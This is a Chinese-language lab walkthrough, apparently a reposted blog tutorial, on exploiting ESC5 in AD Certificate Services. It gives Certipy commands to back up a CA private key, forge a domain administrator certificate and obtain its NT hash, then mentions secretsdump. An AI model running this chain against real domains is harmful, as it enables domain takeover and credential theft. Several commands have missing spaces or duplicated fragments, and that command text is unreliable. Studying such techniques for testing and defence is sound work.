深入解析ESC5 ADCS配置漏洞利用——活动目录渗透测试实战

摘要

继我之前写的ESC4文章之后——现在我的工作完成了，终于有更多时间学习，我想我也要深入研究一下ESC5。说实话，我不知道为什么，但学习活动目录(Active Directory)利用感觉起来更令人兴奋，尽管在印度尼西亚的真实环境中仍然相当罕见。可能只是我理想主义的一面吧，哈哈哈。好了，让我们开始一起学习吧。

什么是ESC5

ESC5是一种针对活动目录证书服务(ADCS)的攻击。这种攻击利用了对证书颁发机构(CA)的访问权限。如果攻击者获得了CA服务器上的本地管理员权限，就可以提取CA证书及其私钥。利用该私钥，攻击者可以为特权账户（如域管理员）伪造恶意证书。然后，这些伪造的证书可用于通过PKINIT向AD进行身份验证并请求TGT（票据授予票据）。

搭建实验室

创建一个任意名称的账户，并将该账户添加为CA服务器(DC01)上的本地管理员：

net localgroup Administrators"igniteraj"/add net localgroup Administrators

（按回车或点击查看完整大小的图片）

枚举与利用

使用Certipy在CA服务器上以本地管理员账户枚举证书。
（按回车或点击查看完整大小的图片）
（按回车或点击查看完整大小的图片）

使用Certipy备份CA证书和私钥。

certipy ca -backup -u alex.doe@sandbox.local -p"MyPassword123"-ca ignite-DC-CA -target10.100.150.10

伪造我们想要接管的账户——在本例中是administrator@sandbox.local，因为它是我的目标上的域管理员。

certipy forge -ca-pfx'sandbox-ca.pfx'-upn administrator@sandbox.local

使用Certipy获取administrator@sandbox.local账户的NT哈希。

certipy auth -pfx administrator_forged.pfx -dc-ip10.100.150.10

（按回车或点击查看完整大小的图片）
（按回车或点击查看完整大小的图片）

使用SecretDump导出哈希凭据。
（按回车或点击查看完整大小的图片）

参考资料

• https://www.hackingarticles.in/ad-cs-esc5-vulnerable-pki-object-access-control/
• https://mayfly277.github.io/posts/ADCS-part14/
• https://www.vaadata.com/blog/ad-cs-security-understanding-and-exploiting-esc-techniques/
  CSD0tFqvECLokhw9aBeRqixLzx0482UkkKWM4rJX2T+9qXDLcUYQal3W1ykfQ9si0pulG6s9/0h/hW8d28k1SsX8sObhJabP00Qx1uju62JSdqgDv8XWiIQ1stSnFOlB/q2Fi82D6F6LlOrFptzcOg==
  更多精彩内容 请关注我的个人公众号 公众号（办公AI智能小助手）
  对网络安全、黑客技术感兴趣的朋友可以关注我的安全公众号（网络安全技术点滴分享）